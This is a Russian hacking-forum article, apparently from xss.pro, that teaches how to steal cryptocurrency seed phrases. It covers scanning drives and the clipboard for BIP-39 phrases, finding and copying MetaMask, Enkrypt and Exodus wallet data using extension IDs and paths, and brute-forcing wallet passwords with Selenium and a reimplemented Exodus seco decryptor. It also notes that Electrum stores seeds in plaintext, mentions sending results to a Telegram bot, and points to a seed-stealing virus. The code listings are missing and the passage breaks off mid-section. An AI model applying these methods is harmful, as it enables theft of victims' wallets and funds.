Автор: hipeople
Источник https://xss.pro
В этой статье я решил временно отложить тему фингерпринтинга и углубиться в область, связанную с криптой, а именно рассказать о seed-фразах. Это набор слов, которые работают как мастер-пароль к твоему криптокошельку, а значит, к твоим кровно заработанным (или, может, не совсем заработанным) монетам. Потому если кто-то получит seed фразу, прощай, денежки — они уйдут быстрее, чем ты успеешь моргнуть.
Я задумал две статьи: в этой первой разберём, как искать эти фразы на компе. Покажу всё — от простого поиска в текстовых файлах до того, как брутить пароли кошельков, чтобы вытащить зашифрованные фразы. Плюс разберём, как сгенерировать seed-фразы для брутфорса. А для любителей автоматизации я объясню, как написать простую программу, которая сама сканирует комп и отправляет найденные фразы в Telegram бота.
А во второй части расскажу, как защитить свои seed-фразы, чтобы никто не добрался до твоих денег.
Погнали разбираться!
Зачем нужна seed-фраза?
Seed-фраза — это ключ к восстановлению кошелька, если ты потерял доступ. Сломался комп, украли телефон, снёс приложение — не беда. Вводишь фразу в новый кошелёк, и всё твоё добро на месте. Но есть подвох: любой, у кого есть эта фраза, может сделать то же самое. Поэтому хранить её нужно так, будто от этого зависит твоя жизнь. А вот тут начинаются проблемы, потому что люди частенько действуют бездумно.
Что такое seed-фраза и как она устроена?
Прежде чем рассказать, как искать seed-фразы, давай разберёмся, что они из себя представляют и как работают.
Seed-фраза — это набор слов, обычно 12, 18 или 24, созданный по стандарту BIP-39, который используется почти во всех криптокошельках. У BIP-39 есть список из 2048 слов, и каждое слово во фразе несёт часть зашифрованной информации. Каждое слово связано с числом, а их порядок имеет ключевое значение. Например, 12 слов дают 128 бит данных плюс проверочный кусочек, чтобы убедиться, что фраза правильная. Вместе эти слова образуют код, который с помощью алгоритма PBKDF2 превращается в мастер-ключ. PBKDF2 многократно перемешивает данные, создавая надёжный ключ. Этот мастер-ключ отвечает за генерацию всех приватных ключей, которые открывают доступ к твоим биткоинам, эфиру или другим монетам.
Как из мастер-ключа получаются ключи?
Теперь о том, как из мастер-ключа получаются ключи для разных адресов кошелька. Тут в игру вступают стандарты BIP-32 и BIP-44. BIP-32 позволяет из одного мастер-ключа создавать целое дерево ключей. Каждый ключ в этом дереве отвечает за отдельный адрес кошелька. Это удобно: вместо хранения кучи ключей ты держишь одну seed-фразу, из которой можно восстановить всё.
Например, путь в этом дереве может выглядеть как m/0'/0/0, где m мастер-ключ, а числа обозначают уровни: аккаунт, тип адреса и его номер:
BIP-44 делает эту систему ещё более организованной. Он задаёт чёткую структуру пути, чтобы разные кошельки работали одинаково. Путь по BIP-44 выглядит так: m/44'/0'/0'/0/0. Здесь 44' — стандарт BIP-44, 0' — тип монеты (например, биткоин), следующий 0' — номер аккаунта, который разделяет разные кошельки внутри одной seed-фразы. Например, аккаунт 0' можно использовать для сбережений, а 1' — для торговли, и у каждого будут свои адреса. Далее идёт 0 — для обычных адресов (или 1 для сдачи, куда приходят остатки от транзакций). Последнее 0 — номер конкретного адреса, который ты используешь для приёма или отправки монет. Это позволяет кошелькам вроде Trust Wallet или MetaMask генерировать новые адреса для транзакций или разделять сбережения и торговлю.
Получение seed фразы, сохраненной на ПК
Теперь, когда мы разобрались, как работают seed-фразы, пора поговорить о том, как их можно найти.
Поиск seed фраз лежащих в открытом виде
Начну с поиска seed-фраз на компьютере и покажу, как написать скрипт на Python, который будет искать фразы и выводить результаты.
Иногда пользователи хранят свои seed-фразы в файлах прямо на ПК, а некоторые криптокошельки без установки пароля сохраняют их в открытом виде. Для поиска таких фраз я решил использовать регулярные выражения и библиотеки для работы с файлами различных форматов, чтобы охватить все возможные места хранения — такие как текстовые документы, PDF и файлы Word, где пользователи могли небрежно сохранить свои фразы.
Мой код:
Проверяем работу:
Сначала мой код определяет наличие всех доступных дисков, чтобы охватить все возможные места хранения. Потом собирает список папок для проверки — вроде пользовательских директорий (\Users на Windows) и других папок верхнего уровня, но системные, вроде \Windows или \System Volume Information, пропускает, чтобы не тратить время. Для каждой папки код проверяет файлы с расширениями .txt, .md, .csv, .log, .json, .xml, .docx и .pdf, так как именно в таких файлах пользователи чаще всего могут сохранять seed-фразы.
Когда находит нужный файл, код читает его: текстовые файлы — построчно, с учётом проблем с кодировкой, .docx разбирает на абзацы, PDF-ки листает по страницам разбивая текст на строки.
Далее скрипт анализирует каждую строку в файлах, используя для этого регулярное выражение. Это регулярное выражение специально разработано для поиска seed-фраз формата BIP-39. Такие фразы обычно состоят из 12-24 слов, разделённых пробелами, причём каждое слово представляет собой последовательность букв.
Когда скрипт находит строку, которая соответствует этому паттерну, он сразу же сохраняет её. В результаты попадает как сама потенциальная seed-фраза, так и полный путь к файлу, откуда она была извлечена. Все эти действия фиксируются в логе, что позволяет отслеживать процесс и видеть, какие строки были распознаны. Использование регулярных выражений довольно эффективно. Оно позволяет достаточно точно отсеивать большую часть обычного текста, сосредоточившись на поиске именно того формата данных, который характерен для seed-фраз. Конечно, даже с таким методом иногда возникают нюансы. Например, регулярное выражение может обнаружить последовательность слов, которая по формату совпадает с seed-фразой, но на самом деле таковой не является.
Именно поэтому я рекомендую после получения результатов обязательно сверять найденные фразы со словарём BIP-39 уже на своём компьютере. Изначально я рассматривал вариант использования словаря на целевом компьютере, но быстро понял, что это нецелесообразно и может быть рискованно.
Чтобы код работал быстрее, он использует восемь потоков (число задано в переменной num_threads, его можно изменить). Потоки одновременно проверяют seed-фразы в папках, обрабатывая их по очереди. Если находится новая папка, она добавляется в очередь для проверки. Если возникает ошибка, например "нет доступа", код записывает её в лог для отладки и продолжает работу. По завершению работы код выдаёт все найденные seed-фразы с указанием файлов.
В качестве бонуса я решил написать небольшой Python-скрипт, который просеивает найденные seed-фразы, проверяя, соответствуют ли они словарю BIP-39, и выводит только валидные.
Вот сам код:
Скрипт начинается с функции load_bip39_words, которая открывает файл bip-0039_english.txt и загружает список из 2048 слов BIP-39 в множество для быстрого поиска. Каждое слово приводится к нижнему регистру, чтобы избежать проблем с регистром. Затем функция is_valid_bip39_phrase проверяет фразу: она смотрит, состоит ли фраза из 12, 18 или 24 слов (стандартные длины для BIP-39) и есть ли каждое слово в загруженном словаре. Если хоть одно слово не из списка или длина не та, фраза считается невалидной.
Основная логика лежит в read_seed_phrases. Эта функция читает файл seeds.txt, где хранятся найденные фразы, и использует регулярное выражение, чтобы вытащить строки, идущие после “Seed phrase:” до двойного переноса строки или конца файла. Для каждого совпадения она проверяет фразу на соответствие BIP-39, и, если всё ок, добавляет её в список валидных фраз. Потом, если валидные фразы нашлись, скрипт выводит их на экран. Если же список пуст, скрипт честно сообщает, что ничего подходящего нет.
Отслеживание seed фраз в буфере
Помимо очевидного способа искать seed-фразы по файлам на компе, можно замахнуться на кое-что поинтереснее — а именно проверять буфер обмена. Люди частенько копируют свои фразы, чтобы вставить их в кошелёк или перекинуть куда-то ещё, и это открывает возможность поймать фразу прямо на лету.
Я написал простенький скрипт на Python, который следит за буфером и ловит seed-фразы, как только они там появляются:
Проверяем:
Мой код использует библиотеку pyperclip, чтобы каждую секунду заглядывать в буфер обмена. Как только там оказывается текст, скрипт проверяет его с помощью регулярного выражения, которое ищет цепочку из 12–24 слов, состоящих только из букв и разделённых пробелами. Если фраза найдена, скрипт тут же выводит её в консоль, записывает в лог с временной меткой. Лог пишется в файл seed_phrases.log, так что всё, что найдено, сохраняется (на практике можно к примеру отправлять найденные фразы на сервер). Чтобы не грузить систему, скрипт сравнивает текущее содержимое буфера с предыдущим — если ничего не изменилось, он не тратит силы на повторную проверку.
Поиск seed фразы в крипто кошельках
Я уже рассказал, как искать seed фразы в файлах на компе или из буфера обмена, когда пользователь копирует их. Но давай начистоту: в большинстве случаев никто не хранит эти фразы в файле на рабочем столе с названием "мои_биточки.txt". Чаще всего seed-фраза находиться внутри криптокошелька, надёжно (или не совсем надёжно) зашифрованная. И вот тут начинается самое интересное — как добраться до этого ключа, который открывает доступ к чужим (или твоим, если ты забыл пароль) монетам?
В кошельках вроде MetaMask, Trust Wallet или Electrum эти фразы обычно хранятся в зашифрованном виде, спрятанные за паролем или пин-кодом. Но шифрование — это не всегда очень критично, особенно если пользователь ленится придумывать нормальный пароль или кошелёк имеет свои уязвимости. Cейчас я разберу, как работают самые популярные плагины криптокошельки для ПК, где они прячут seed-фразы и как можно попытаться их вытащить — от брутфорса паролей до анализа файлов данных кошелька.
Крипто кошельки – в виде расширений для браузеров
Для начала разберёмся, как искать криптокошельки в Google Chrome — самом популярном браузере. Я буду рассматривать только Chrome, так как в других браузерах процесс сложнее. В качестве примера возьмём популярный кошелёк MetaMask и менее известный Enkrypt.
Поиск и перенос плагинов кошельков
Chrome хранит данные расширений — пароли, куки, настройки — в локальной базе данных, которая обычно зашифрована. Без ключа расшифровки к этим данным не подобраться. Однако на первом этапе нам не нужно влезать в шифрование: достаточно проверить, установлен ли нужный плагин. Это можно сделать через уникальный ID расширения, который Chrome присваивает каждому плагину.
Например, ID MetaMask — nkbihfbeogaeaoehlefnkodbefgpgknn, а Enkrypt (поддерживает ETH, BTC, Solana) — kkpllkodjeloidieedojogacfhpaihoh. Чтобы узнать, установлен ли плагин, заглянем в папку C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\Extensions. Если там есть папка с соответствующим ID, кошелёк установлен.
Но есть небольшая проблема: иногда ID плагина может измениться, например, если плагин установлен в режиме разработчика или при нестандартных настройках Chrome. В таком случае поиск по фиксированному ID ненадёжен. Решение — обойти все папки в C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\Extensions, проверяя manifest.json на наличие ключевых слов, таких как "MetaMask" или "Enkrypt". В этом JSON-файле в полях name или description обычно указаны названия, например, "MetaMask" или "Enkrypt: ETH, BTC and Solana Wallet". Это более надёжный способ, так как название плагина редко меняется, в отличие от ID. Также можно проверять поле permissions, где могут быть указаны характерные для кошельков запросы, такие как доступ к storage или webRequest.
Но вот мы и наши кошелек, а что дальше? Как извлечь или перенести данные?
Данные кошельков хранятся в базе LevelDB, файлах с расширением .ldb.
LevelDB — это библиотека от Google, созданная для хранения больших объёмов данных с высокой скоростью чтения и записи. Она работает так: данные сначала пишутся в журнал (.log), а потом компактируются в отсортированные таблицы (.ldb), которые хранят пары ключ-значение в виде байтовых массивов. Эти таблицы разбиты на уровни, что ускоряет поиск и минимизирует фрагментацию на диске. LevelDB не поддерживает сложные запросы, как SQL, но для кошельков это и не нужно — там хранятся зашифрованные seed-фразы, приватные ключи и настройки.
Прочитать данные из LevelDB напрямую — задача нетривиальная, ну точнее прочитать можно, и там даже могут быть какие-то незашифрованные данные, но все важные поля вроде seed-фразы зашифрованы. Они зашифрованы с использованием алгоритмов, специфичных для каждого кошелька, и ключ шифрования обычно связан с паролем пользователя. Честно говоря, расшифровать seed-фразу — это та ещё головная боль, и тут я, увы, не помощник. Но есть интересный способ обойти это, если цель — просто перенести кошелёк на другой компьютер и там сбрутить его.
Лайфхак в том, что можно скопировать файлы LevelDB и перенести их на другой ПК. И, как ни странно, это работает!
Для Enkrypt база данных лежит в
Для Metamask данные находятся в
В этих папках лежат файлы .ldb, .log и иногда манифесты, которые содержат всю информацию о кошельке. Я сам был удивлён, когда скопировал эти файлы на другой компьютер, установил Chrome с тем же плагином, заменил файлы в нужной папке, и кошелёк импортировался. Но есть подвох: кошелёк всё равно запросит пароль, без которого доступ к средствам невозможен. Если пароля нет, придётся его подбирать, но это уже другая история, связанная с брутфорсом.
Бьюсь об заклад, любой мой читатель, который хоть раз работал с Chrome, пытаясь расшифровать пароли или провернуть другие тёмные делишки, сейчас сидит и думает: «Погоди-ка, а почему это вообще работает? Chrome же обычно привязывает всё к аккаунту или даже к конкретному компу»
А всё просто, LevelDB, который Chrome использует для хранения данных расширений, — это просто кучка файлов, которые не привязаны к твоему железу. Chrome использует их как хранилище для расширений, и если структура папок совпадает, плагин воспринимает данные как свои. Но есть риски: несовместимость версий Chrome или плагина может сломать всё, так что будьте осторожны.
Скрипт для автоматизации поиска и переноса плагинов
Чтобы автоматизировать процесс поиска и копирования плагинов, я написал Python-скрипт, который ищет плагины кошельков по их ID, находит их базы данных и добавляет всё в архив.
Вот код:
Проверяем работает ли:
Сначала скрипт определяет имя текущего пользователя Windows и формирует путь к папке данных Chrome (C:\Users<username>\AppData\Local\Google\Chrome\User Data). Затем он находит все профили Chrome, такие как "Default" или "Profile 1", сортируя их так, чтобы "Default" проверялся последним, если другие профили существуют.
Для каждого профиля код проверяет папку с расширениями, ищет указанные расширения (Enkrypt и Metamask) по их известным ID. Если расширение не найдено по ID, код сканирует папки расширений, открывая файл manifest.json в каждой, и ищет название расширения (например, "Enkrypt") в содержимом манифеста, чтобы определить актуальный ID.
Когда расширение найдено, код проверяет наличие его данных в соответствующих директориях (IndexedDB для Enkrypt и Local Extension Settings для Metamask). Если данные есть, они копируются в временную папку, созданную с меткой времени (например, temp_20250524_042305). Каждая директория данных сохраняется с именем, включающим название расширения и профиль, чтобы избежать путаницы.
После обработки всех профилей, если данные расширений найдены, код создаёт ZIP-архив, и помещает в него все скопированные файлы. Если данные не найдены, архив не создаётся, и выводится соответствующее сообщение. В конце временная папка удаляется, даже если произошла ошибка, чтобы не оставлять мусор.
Брут паролей браузерных кошельков
Пожалуй, начну с MetaMask. Когда я взялся за задачу брутфорса паролей MetaMask, то сразу понял, что это будет непросто. Сначала я пытался извлечь данные из файлов .ldb, где MetaMask хранит зашифрованные seed-фразы, но расшифровать их без пароля оказалось невозможно. Тогда я решил пойти другим путём — использовать Selenium для автоматизации ввода паролей прямо в интерфейсе браузера. Но и тут у меня возникли проблемы.
При попытке использовать мой существующий профиль Chrome, где уже был установлен MetaMask, я получил ошибку что-то вроде: «Нельзя использовать профиль, если сессия уже открыта». Хотя никакой сессии не было! Я попробовал создать новый профиль в driver и заменить в нём файлы .ldb на те, где есть кошелек, но Windows упорно твердила, что файлы заняты, даже когда плагин был отключён, а Chrome закрыт. Ну серьёзно, Windows, ты чё, издеваешься?
После нескольких неудач я решил скопировать всю папку пользовательских данных Chrome (C:\Users\<username>\AppData\Local\Google\Chrome\User Data) в новое место, заменить файлы в папке Local Extension Settings, и только потом запустить Selenium с этим новым профилем. И, о чудо, это сработало! MetaMask загрузился, и я получил доступ к странице ввода пароля. Оставалось лишь автоматизировать перебор паролей. Но, как водится, без косяков не обошлось: метод .clear() в Selenium не очищал поле ввода пароля. Пришлось использовать комбинацию клавиш Ctrl+A и Backspace через модуль Keys, чтобы очистить поле перед вводом нового пароля. В итоге всё заработало.
Вот мой код, который я выстрадал, пока Windows и MetaMask надо мной издевались:
Проверяем работает ли:
Сначала скрипт убивает процесс хрома чтобы не было конфликтов при копирование его папки. Если что-то пошло не так — скрипт просто выведет сообщение об ошибке и продолжит работу.
Дальше скрипт создаёт новую папку в C:\Program Files (x86) с уникальным именем, помеченным текущей датой и временем. В эту папку он копирует основную папку с данными профилей в Chrome.
Теперь, когда у нас есть свеж скопированный профиль, скрипт настраивает Selenium для работы с ним. При запуске Selenium скрипт указывает, где лежит наш скопированный профиль, выбирает папку профиля по умолчанию (но вы можете указать другой). Затем он вызывает ChromeDriverManager, который сам скачивает и устанавливает нужную версию ChromeDriver.
Следующий шаг — загрузка списка паролей. Скрипт открывает файл passwords.txt, который должен лежать рядом с ним, и читает его построчно, убирая пробелы и пустые строки.
Теперь начинается главная часть — перебор паролей. Скрипт открывает страницу MetaMask по специальной ссылке chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html — это страница входа в кошелёк. Чтобы браузер успел прогрузить всё, скрипт ждёт пять секунд (да, это не мгновенно, но лучше перестраховаться). Затем он начинает перебирать пароли из списка. Если пароль неверный, на странице появляется сообщение с текстом «Incorrect password» в элементе с id="password-helper-text". Скрипт проверяет, есть ли оно. Если находит — значит, пароль не подошёл идет дальше. Если же сообщения об ошибке нет скрипт останавливает перебор. Если при вводе пароля что-то ломается (например, страница не прогрузилась или поле ввода не нашлось), скрипт выводит ошибку и идёт к следующему паролю. Весь этот процесс повторяется, пока не найдётся правильный пароль или не закончатся варианты в списке.
Теперь давайте поговорим про Enkrypt: ETH, BTC and Solana Wallet. С ним было чуть проще, так как у меня на руках уже был код для metamask. Потребовалось лишь изменить функции копирования данных и ввода пароля, но в целом логика осталась той же.
Вот мой код:
Проверяем работает ли:
Скрипт начинает с завершения всех процессов Chrome, чтобы избежать конфликтов с файлами. Затем он копирует папку данных Chrome (C:\Users\Administrator\AppData\Local\Google\Chrome\User Data) в новую директорию, например, C:\Program Files (x86)\scoped_dir_20250525_133742, названную по текущей дате и времени. В этой копии заменяется папка LevelDB для Enkrypt, расположенная в IndexedDB\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb, на данные из заранее подготовленной папки на рабочем столе. Если папка LevelDB уже существует, она удаляется и создаётся заново, если нет — создаётся с нуля, и файлы копируются.
Далее запускается Selenium, открывающий Chrome с использованием скопированного профиля. После скрипт читает список паролей из файла passwords.txt и переходит на страницу входа Enkrypt по адресу chrome-extension://kkpllkodjeloidieedojogacfhpaihoh/action.html#/locked. Для каждого пароля он находит поле ввода, очищает его, вводит пароль и нажимает кнопку «Unlock». Если после этого браузер перенаправляет на страницу action.html#/assets/ETH, пароль считается правильным, и скрипт завершает работу, сообщая об успехе. В противном случае он продолжает перебор.
Взлом десктопных кошельков
Пора обсудить взлом десктопных кошельков: хотя они, возможно, используются реже браузерных, их считают более безопасными, и среди них есть весьма популярные представители.
Получение паролей Exodus
Первым делом замахнёмся на Exodus — один из самых популярных десктопных криптокошельков. Удобный, с красивым интерфейсом, поддерживает кучу монет, от биткоина до эфира и соланы. Но, как и любой софт, он не без греха, особенно если пользователь расслабился и не думает о безопасности. Давай разберёмся, где Exodus прячет свои seed-фразы, как они защищены и как можно попытаться до них добраться.
Все вкусности Exodus хранит в папке:
Главный файл, который нам интересен, называется seco. Именно там спрятана seed-фраза, но не надейся просто открыть его в блокноте — всё зашифровано. Без ключа шифрования это просто набор бессмысленных байтов. По умолчанию Exodus не заставляет ставить пароль, хотя пользователь может его включить.
И вот тут начинаются два разных сценария:
Кошелёк без пароля и кошелёк с паролем
Если пароля нет
Когда пользователь не заморачивается с паролем, Exodus оставляет лазейку. Рядом с файлом seco в папке exodus.wallet лежит passphrase.json. Там спрятана фраза, но не в открытом виде, а закодированная в Base64. Которая после декодирования даёт 32 байта. Эти 32 байта — энтропия для мнемонической фразы из 24 слов по стандарту BIP-39, что соответствует 256 битам.
Но вот загвоздка: Exodus юзает фразы из 12 слов, а тут 24, с большой вероятностью это не та фраза, что нужна(я пробовал ее импортировать в другой кошелек и адреса отличаются), или её надо интерпретировать иначе для расшифровке seco, но вопрос как остается открытым. Я не буду кидать сюда готовый код для дешифровки — это не инструкция для копипаста, а разбор, чтобы ты сам разобрался.
Хочешь покопаться?
Загляни на ExodusMovement, там куча репов по Exodus. Если порыться в их коде на Node.js, можно косвенно понять, как passphrase.json используется для получения реальной фразы. Например, ищи репы, где есть работа с шифрованием кошелька.
Ещё можешь глянуть питоновский вирус, который заточен под кражу фраз Exodus, вот ссылка: virus_exsodus. Там есть толковые куски кода по работе с файлами Exodus, хотя это и зловред. Разбор этого вируса лежит тут: isc.sans.edu, почитай, чтобы понять, как он получает фразы.
Есть ещё JavaScript-библиотека: Exodus-Seco-To-Passphrase. Она, честно, сырая, у меня вообще не сработало, но код может дать пару идей, если поковырять.
Предупреждаю: инфы по дешифровке почти нет, так что готовься к долгим тестам и головной боли.
Есть и более простой путь, если пароля нет. Можно просто скопировать всю папку C:\Users\<Имя_пользователя>\AppData\Roaming\Exodus\exodus.wallet и перенести её на другой компьютер. Устанавливаешь Exodus, подменяешь папку exodus.wallet на скопированную, и кошелёк открывается как ни в чём не бывало.
Почему это работает?
Потому что данные в seco и passphrase.json не привязаны к конкретному устройству. Запускаешь приложение, и оно воспринимает файлы как свои. Это лайфхак для тех, кто не хочет заморачиваться с дешифровкой, но работает он только если пароль не установлен.
Если пароль есть
Если пользователь всё-таки поставил пароль, всё становится сложнее. Файл passphrase.json исчезает из папки exodus.wallet, и seed-фраза доступна только через ввод пароля в интерфейсе кошелька. Без пароля seco — просто кучка зашифрованных байтов, и расшифровать их без ключа нереально. Вариант с переносом папки тут уже не прокатит: Exodus запросит пароль при запуске, и без него ты никуда не денешься.
И вот тут сработает только брут. Но как же брутить пароль, чтобы это понять я расскажу базу, а именно как работает seco-шифрование. Файл seed.seco в Exodus — это зашифрованный контейнер, который хранит seed-фразу, когда пользователь устанавливает пароль. Без пароля это просто набор байтов, бесполезный без ключа.
Файл seed.seco делится на четыре части: заголовок, контрольная сумма, метаданные и зашифрованный кусок данных, который называют blob. Заголовок занимает 224 байта и хранит инфу о файле: там написано SECO (чтобы было ясно, что это файл Exodus), версия программы, тег шифрования seco-v0-scrypt-aes, название приложения (Exodus) и его версия, типа 25.13.7. Контрольная сумма — это 32 байта, которые получаются через алгоритм SHA256. Этот хэш считается от метаданных, длины blob и самого blob, чтобы убедиться, что файл не повреждён и никто его не подделал. Метаданные — это 256 байт, где лежит всё, что нужно для расшифровки: параметры шифрования, соль для пароля, зашифрованный ключ и настройки для blob. Ну и сам blob — это зашифрованные данные, которые говорят, сколько там данных внутри.
Теперь про шифрование. Когда ты вводишь пароль, Exodus не просто берёт его и шифрует данные. Сначала пароль прогоняют через алгоритм scrypt. Это такая штука, которая делает из пароля надёжный ключ, но при этом жутко усложняет жизнь тем, кто хочет пароль подобрать. Scrypt берёт пароль, добавляет к нему соль — случайные 32 байта, чтобы даже одинаковые пароли давали разные ключи, — и прокручивает это всё с параметрами n=16384, r=8, p=1. В итоге scrypt выдаёт ключ длиной 32 байта.
Этот ключ нужен, чтобы расшифровать blobKey — ещё один 32-байтовый ключ, который спрятан в метаданных. blobKey зашифрован с помощью алгоритма AES-256-GCM. Это симметричное шифрование с 256-битным ключом, работающее в режиме Galois/Counter Mode. AES-256-GCM сложен тем, что не только шифрует, но и проверяет, что данные не подделали, благодаря 16-байтному тегу аутентификации. А чтобы шифрование каждый раз было уникальным, используют 12-байтовый инициализационный вектор (IV), который тоже лежит в метаданных.
Теперь про сам blob, где хранится seed-фраза. Он шифруется тем же AES-256-GCM, но уже с использованием blobKey. Перед шифрованием seed-фразу сжимают через gzip, чтобы она занимала меньше места. Сжатые данные оборачивают в 4-байтовый заголовок, который говорит, сколько там байт, и только потом шифруют с новым IV и authTag, которые тоже записаны в метаданных. В итоге blob получается достаточно большим, но весьма надёжно запертым.
Когда мы разобрали как работает шифрование давайте поговорим про расшифровку, она идёт в обратном порядке: из пароля через scrypt получают ключ, им расшифровывают blobKey, затем blobKey открывает blob, данные распаковываются через gzip, и в итоге получается seed-фраза.
Пример брута фразы
Как вы понимаете, задача была не из лёгких, потому что Exodus — это не тот случай, где тебе на блюдечке выложат документацию, как расшифровать их seed.seco (что логично). Но я даже нормальных статей на эту тему не нашел. Я облазил кучу инфы, искал готовые решения для брута пароля и вытаскивания мнемонической фразы, и единственное, что попалось более-менее рабочее, — это https://github.com/KaratelSH/Exodus-Seco-To-Passphrase. Это библиотека на Node.js, котрая использует какие-то свои специфичные либы, но зато нормально брутит фразы. Но мне нужен код на Python, а там таких библиотек естественно нет. В итоге пришлось писать всё с нуля, и я решил использовать библиотеки cryptography для шифрования, scrypt для генерации ключа из пароля, mnemonic для работы с BIP-39 фразами и zlib для распаковки сжатых данных. Я разбил код на два файла, чтобы не было бардака: exodus_extract.py занимается перебором паролей и подготовкой данных, а в seco_like.py происходит расшифровка данных.
Начну с exodus_extract.py. Вот полный код exodus_extract.py:
Этот скрипт сначала через getpass.getuser() узнаёт, кто юзер на компе, и строит путь к папке Exodus, типа C:\Users\USER\AppData\Roaming\Exodus\exodus.wallet. Там он ищет seed.seco. Если файла нет, скрипт пишет ошибку. Если файл на месте, он проверяет, есть ли файл с паролями, например, passwords.txt. Если его нет или он пустой, ты тоже получаешь ошибку. Когда всё ок, скрипт читает seed.seco в бинарном виде и загружает пароли, отсеивая пустые строки. Дальше начинается цикл: для каждого пароля он вызывает метод extract_mnemonic из seco_like.py, и туда передаёться содержимое seed.seco и пароль. Если мнемоника нашлась, скрипт выводит что-то вроде: «Password пароль is correct» и «Mnemonic: фраза». Если пароль не подошёл, пишет: «Password пароль is incorrect».
Теперь к seco_like.py — это где вся жесть, сразу предупреждаю, я разберу его по частям, ибо он большой, да и думаю, так будет понятнее. Код целиком прикреплю к статье. Файл seed.seco — это зашифрованный контейнер, где спрятана мнемоническая фраза. Он состоит из заголовка (220 байт), контрольной суммы (32 байта), метаданных (256 байт) и зашифрованного blob с фразой. В коде есть константы, которые задают эти длины: HEADER_LEN_BYTES = 220, CHECKSUM_LEN_BYTES = 32, METADATA_LEN_BYTES = 256, IV_LEN_BYTES = 12 для инициализационных векторов, плюс магическая строка MAGIC = b'SECO' и тег версии HEADER_VERSION_TAG = b'seco-v1-scrypt-aes'. Эти константы — как карта, чтобы правильно разрезать файл на куски. Я начну разбор с метода extract_mnemonic, который вызывает все остальное, и покажу, какие функции он вызывает, а потом разберу их по порядку.
Вот сам extract_mnemonic:
Метод extract_mnemonic управляет всей расшифровкой. Он принимает зашифрованные данные из seed.seco и пароль, а затем пытается извлечь мнемоническую фразу. Сначала метод проверяет, достаточно ли большой файл, чтобы содержать заголовок (220 байт), контрольную сумму, метаданные и blob. Если данных меньше, чем нужно, метод возвращает None. Затем он делит файл на части: первые 220 байт — заголовок, следующие 32 — контрольная сумма, потом 256 — метаданные, 4 байта длины blob и сам blob. Для оптимизации blob усекается до последних 100 байт, если он длиннее. После этого метод вызывает compute_checksum, чтобы проверить хэш метаданных и blob. Если хэш не совпадает, файл считается повреждённым, и метод возвращает None. Если всё в порядке, вызывается decode_header, чтобы проверить магическую строку SECO и тег seco-v1-scrypt-aes. Если тег не тот, метод возвращает None, так как другой алгоритм шифрования сломает работу. Далее вызывается decode_metadata, чтобы извлечь соль, параметры scrypt и данные для шифрования. Если шифр не aes-256-gcm, метод прекращает работу. Затем вызывается decrypt_blob_key для получения BlobKey, decrypt_blob для расшифровки blob и shrink для обработки данных. Данные распаковываются через zlib, и если распаковка не удалась, используются сырые данные. Метод проверяет, что получилось: текстовая мнемоника вроде «promote pizza solution...», или сырая энтропия BIP-39 с длинами 16, 20, 24, 28, 32 байта. JSON-парсинг пропущен для совместимости. Если найдена валидная фраза, она возвращается, иначе — None.
Теперь к compute_checksum, который вызывается первым:
Метод compute_checksum проверяет целостность файла. Для blob’ов длиннее 1024 байт используется MD5 для оптимизации, иначе — SHA256. Он вычисляет хэш из метаданных, 4-байтной длины blob (big-endian) и самого blob. Константа CHECKSUM_LEN_BYTES = 32 задаёт длину хэша. Если хэш не совпадает с тем, что в файле, extract_mnemonic возвращает None.
Дальше decode_header, который парсит заголовок, используя константы HEADER_LEN_BYTES = 220 и MAGIC = b'SECO':
Метод decode_header разбирает заголовок seed.seco, используя константы HEADER_LEN_BYTES = 220 и MAGIC = b'SECO'. Заголовок содержит магическую строку SECO, версию файла, зарезервированные байты, тег шифрования (seco-v1-scrypt-aes), название приложения (например, Exodus) и версию (например, 25.13.7). Метод проверяет, что длина заголовка равна 220 байтам и магия — SECO. Если что-то не так, вызывается ошибка. Тег подтверждает использование scrypt с AES-256-GCM. Метод возвращает словарь для проверки в extract_mnemonic.
Перейдём к decode_metadata:
Метод decode_metadata обрабатывает метаданные, опираясь на константу METADATA_LEN_BYTES = 256. Он извлекает соль (32 байта), параметры scrypt (например, n=16384, r=8, p=1), тип шифра (aes-256-gcm) и два набора данных: для BlobKey и blob. Для BlobKey инициализационный вектор берётся как 13 байт, а для blob — как IV_LEN_BYTES = 12. Каждый набор включает тег аутентификации (16 байт) и зашифрованные данные. Метод проверяет длину метаданных и возвращает словарь для extract_mnemonic. Если длина неверная, он вызывает ошибку.
Следующий на очереди decrypt_blob_key:
Метод decrypt_blob_key расшифровывает BlobKey. Он кодирует пароль в UTF-8, модифицирует соль, усекает её до 30 байт и добавляет два нулевых байта для безопасности. Затем прогоняет пароль через scrypt с изменённой солью и удвоенным параметром r, создавая 32-байтовый ключ. Этот ключ используется с AES-256-GCM, где вектор инициализации — 13 байт (из decode_metadata). Метод расшифровывает BlobKey, проверяя целостность через тег аутентификации. Если пароль неверный, расшифровка не удаётся, и extract_mnemonic получает None. Если всё проходит, возвращается BlobKey.
Теперь decrypt_blob:
Метод decrypt_blob расшифровывает blob, используя BlobKey. Он применяет AES-256-GCM с тегом аутентификации как вектором инициализации и наоборот, что является особенностью реализации. На выходе метод выдаёт сжатые данные для дальнейшей обработки.
И последний метод shrink, котрый просто убирает 4-байтовый заголовок длины:
Точнее он проверяет, достаточно ли данных, извлекает длину и возвращает только нужную часть, чтобы подготовить данные для распаковки.
Давайте протестриуем работает ли мой код:
Как видите все работает нормально, exodus_extract.py переберает пароли, а в seco_like.py их рассшифровывает.
Получение фразы Electrum
Погнали дальше, и на очереди у нас Electrum — это тот подвид кошельков, которые обещает нам гигантскую безопасность, и мульти подписать и уничтожение данных, короче, типа он суперкрутой и вообще сусурити. Но давай разберёмся, правда ли это, или это просто громкие слова. Честно, когда я копнул в его безопасность seed фразы, меня это чуть ли не рассмешило.
Electrum даёт тебе выбор: создавай кошелёк с паролем или без.
Варинт без пароля
И вот тут начинается комедия. Если ты ленишься и не ставишь пароль, seed-фраза тупо лежит в открытом виде в файле по пути C:\Users\<Имя_пользователя>\AppData\Roaming\Electrum\wallets\default_wallet. Серьёзно, лол, они даже не попытались хоть как-то зашифровать данные, как делают другие кошельки! Всё на блюдечке: открыл файл, взял фразу, и привет, твои монеты уже не твои. Конечно, если пароль есть, всё посложнее, но без него — это просто какая-то шутка, а не безопасность.
Варинт с паролем
